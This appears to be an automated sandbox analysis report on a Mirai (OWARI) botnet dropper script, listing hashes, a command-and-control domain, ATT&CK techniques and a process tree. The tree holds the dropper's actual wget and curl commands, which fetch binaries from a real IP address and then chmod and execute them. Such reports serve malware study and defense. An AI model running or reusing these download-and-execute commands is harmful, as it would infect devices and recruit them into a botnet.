mirai | c0187ce31d8bd840ec652e16326d67e53770259f4701892d55d5e06feb7b5dd4

Analysis

max time kernel
150s
max time network
155s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
06/11/2024, 01:46

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General

Target
c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh
Size 2KB
Sample241106-b7asratbnj
SHA256 c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8
MD5 ea64c785bed58ebb7dfbc008250f9c95
SHA1 8e4376853ce92270b949b6ea821d80737989ba6d
SHA512 905c9f90bfbfa50d3629ea06c16fec15098a6091618f4f32d96e55741a15388db5536f2c4f67b4f3bbb9c1bb04394e0342d7f07e9ae74ed17b0ab6ac63895f64
MD5 SHA1 SHA512

Score

10^/10

mirai owari botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

OWARI

cnc.carteldesinaloa.ru

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (58422) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
741	chmod
813	chmod
824	chmod
835	chmod
854	chmod
880	chmod
734	chmod
747	chmod
767	chmod
789	chmod
898	chmod
912	chmod

Modifies Watchdog functionality 1 TTPs 14 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	nuklear.payload
File opened for modification	/dev/watchdog	nuklear.payload
File opened for modification	/dev/watchdog	nuklear.payload
File opened for modification	/dev/misc/watchdog	nuklear.payload
File opened for modification	/dev/watchdog	nuklear.payload
File opened for modification	/dev/misc/watchdog	nuklear.payload
File opened for modification	/dev/watchdog	nuklear.payload
File opened for modification	/dev/misc/watchdog	nuklear.payload
File opened for modification	/dev/watchdog	nuklear.payload
File opened for modification	/dev/misc/watchdog	nuklear.payload
File opened for modification	/dev/watchdog	nuklear.payload
File opened for modification	/dev/misc/watchdog	nuklear.payload
File opened for modification	/dev/misc/watchdog	nuklear.payload
File opened for modification	/dev/watchdog	nuklear.payload

Changes its process name 7 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	kwKVAdhtkXmUjTbcF	814	nuklear.payload
Changes the process name, possibly in an attempt to hide itself	gewpblqWkaqVkMFBmV	825	nuklear.payload
Changes the process name, possibly in an attempt to hide itself	eGTYGtlyOoEbuqbLZt	836	nuklear.payload
Changes the process name, possibly in an attempt to hide itself	BFNxdAjcaKgHalgJWF	856	nuklear.payload
Changes the process name, possibly in an attempt to hide itself	AcUYejuDQghzWarat	881	nuklear.payload
Changes the process name, possibly in an attempt to hide itself	DfUYxNrDZueBHlSgnVW	899	nuklear.payload
Changes the process name, possibly in an attempt to hide itself	SgsNdEbohjbWxleobLy	913	nuklear.payload

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
793	wget
804	curl
812	cat

Writes file to tmp directory 25 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/nuklear.x86	wget
File opened for modification	/tmp/nuklear.x86_64	curl
File opened for modification	/tmp/nuklear.arm5	wget
File opened for modification	/tmp/nuklear.arm6	wget
File opened for modification	/tmp/nuklear.arm7	wget
File opened for modification	/tmp/nuklear.mips	wget
File opened for modification	/tmp/nuklear.ppc	curl
File opened for modification	/tmp/nuklear.spc	curl
File opened for modification	/tmp/nuklear.x86	curl
File opened for modification	/tmp/nuklear.x86_64	wget
File opened for modification	/tmp/nuklear.arm	wget
File opened for modification	/tmp/nuklear.arm5	curl
File opened for modification	/tmp/nuklear.mips	curl
File opened for modification	/tmp/nuklear.mpsl	wget
File opened for modification	/tmp/nuklear.mpsl	curl
File opened for modification	/tmp/nuklear.ppc	wget
File opened for modification	/tmp/nuklear.arm	curl
File opened for modification	/tmp/nuklear.payload	c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh
File opened for modification	/tmp/nuklear.arm6	curl
File opened for modification	/tmp/nuklear.m68k	curl
File opened for modification	/tmp/nuklear.sh4	wget
File opened for modification	/tmp/nuklear.sh4	curl
File opened for modification	/tmp/nuklear.arm7	curl
File opened for modification	/tmp/nuklear.m68k	wget
File opened for modification	/tmp/nuklear.spc	wget

/tmp/c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh
/tmp/c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh
1⤵
- Writes file to tmp directory
PID:706
- /usr/bin/wget
  wget http://94.156.177.146/389242390482/nuklear.arm
  2⤵
  - Writes file to tmp directory
  PID:713
- /usr/bin/curl
  curl -O http://94.156.177.146/389242390482/nuklear.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:724
- /bin/cat
  cat nuklear.arm
  2⤵
  PID:733
- /bin/chmod
  chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.payload systemd-private-a97b6899fc074244b4040fb00ebfbf50-systemd-timedated.service-zWvHbE
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/nuklear.payload
  ./nuklear.payload nuklear.payload
  2⤵
  PID:735
- /usr/bin/wget
  wget http://94.156.177.146/389242390482/nuklear.arm5
  2⤵
  - Writes file to tmp directory
  PID:737
- /usr/bin/curl
  curl -O http://94.156.177.146/389242390482/nuklear.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/cat
  cat nuklear.arm5
  2⤵
  PID:740
- /bin/chmod
  chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.payload systemd-private-a97b6899fc074244b4040fb00ebfbf50-systemd-timedated.service-zWvHbE
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/nuklear.payload
  ./nuklear.payload nuklear.payload
  2⤵
  PID:742
- /usr/bin/wget
  wget http://94.156.177.146/389242390482/nuklear.arm6
  2⤵
  - Writes file to tmp directory
  PID:744
- /usr/bin/curl
  curl -O http://94.156.177.146/389242390482/nuklear.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/cat
  cat nuklear.arm6
  2⤵
  PID:746
- /bin/chmod
  chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.payload systemd-private-a97b6899fc074244b4040fb00ebfbf50-systemd-timedated.service-zWvHbE
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/nuklear.payload
  ./nuklear.payload nuklear.payload
  2⤵
  PID:748
- /usr/bin/wget
  wget http://94.156.177.146/389242390482/nuklear.arm7
  2⤵
  - Writes file to tmp directory
  PID:750
- /usr/bin/curl
  curl -O http://94.156.177.146/389242390482/nuklear.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/cat
  cat nuklear.arm7
  2⤵
  PID:765
- /bin/chmod
  chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.payload
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/nuklear.payload
  ./nuklear.payload nuklear.payload
  2⤵
  PID:769
- /usr/bin/wget
  wget http://94.156.177.146/389242390482/nuklear.m68k
  2⤵
  - Writes file to tmp directory
  PID:771
- /usr/bin/curl
  curl -O http://94.156.177.146/389242390482/nuklear.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:778
- /bin/cat
  cat nuklear.m68k
  2⤵
  PID:788
- /bin/chmod
  chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.payload
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/nuklear.payload
  ./nuklear.payload nuklear.payload
  2⤵
  PID:791
- /usr/bin/wget
  wget http://94.156.177.146/389242390482/nuklear.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:793
- /usr/bin/curl
  curl -O http://94.156.177.146/389242390482/nuklear.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:804
- /bin/cat
  cat nuklear.mips
  2⤵
  - System Network Configuration Discovery
  PID:812
- /bin/chmod
  chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.payload
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/nuklear.payload
  ./nuklear.payload nuklear.payload
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  PID:814
- /usr/bin/wget
  wget http://94.156.177.146/389242390482/nuklear.mpsl
  2⤵
  - Writes file to tmp directory
  PID:818
- /usr/bin/curl
  curl -O http://94.156.177.146/389242390482/nuklear.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/chmod
  chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/nuklear.payload
  ./nuklear.payload nuklear.payload
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  PID:825
- /usr/bin/wget
  wget http://94.156.177.146/389242390482/nuklear.ppc
  2⤵
  - Writes file to tmp directory
  PID:832
- /usr/bin/curl
  curl -O http://94.156.177.146/389242390482/nuklear.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:833
- /bin/chmod
  chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/nuklear.payload
  ./nuklear.payload nuklear.payload
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  PID:836
- /usr/bin/wget
  wget http://94.156.177.146/389242390482/nuklear.sh4
  2⤵
  - Writes file to tmp directory
  PID:841
- /usr/bin/curl
  curl -O http://94.156.177.146/389242390482/nuklear.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:844
- /bin/chmod
  chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/nuklear.payload
  ./nuklear.payload nuklear.payload
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  PID:856
- /usr/bin/wget
  wget http://94.156.177.146/389242390482/nuklear.spc
  2⤵
  - Writes file to tmp directory
  PID:861
- /usr/bin/curl
  curl -O http://94.156.177.146/389242390482/nuklear.spc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/chmod
  chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 nuklear.spc
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/nuklear.payload
  ./nuklear.payload nuklear.payload
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  PID:881
- /usr/bin/wget
  wget http://94.156.177.146/389242390482/nuklear.x86
  2⤵
  - Writes file to tmp directory
  PID:886
- /usr/bin/curl
  curl -O http://94.156.177.146/389242390482/nuklear.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:896
- /bin/chmod
  chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 nuklear.spc nuklear.x86
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/nuklear.payload
  ./nuklear.payload nuklear.payload
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  PID:899
- /usr/bin/wget
  wget http://94.156.177.146/389242390482/nuklear.x86_64
  2⤵
  - Writes file to tmp directory
  PID:903
- /usr/bin/curl
  curl -O http://94.156.177.146/389242390482/nuklear.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:910
- /bin/chmod
  chmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 nuklear.spc nuklear.x86 nuklear.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/nuklear.payload
  ./nuklear.payload nuklear.payload
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  PID:913

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

nuklear.arm

Path /tmp/nuklear.arm
Size 81KB
SHA256 6a4f0c194ff955c49428fd391a73eed5477541588feddbfde6a1f5acea1489af
MD5 e271e60828c48744a1f674829922cefc
SHA1 8cf689ff7c342f49a7fa3736590e8de1dfdf912a
SHA512 8639171150e7e6574358dab11f151741daeccf7f51a068bb21276589da9cea4e020e1d6f6080bd78cf8c3edbb0302281537c0b56a6c5bb3ad031a476f1af5cb3
SSDEEP 1536:F+NGdzJ/pt2XyP4ZghDRLogb1eZW7P7rAEFCwzbX20zogWvO72:F+kx4STEghwgzrAACwfreOy
MD5 SHA1 SHA512 SSDEEP

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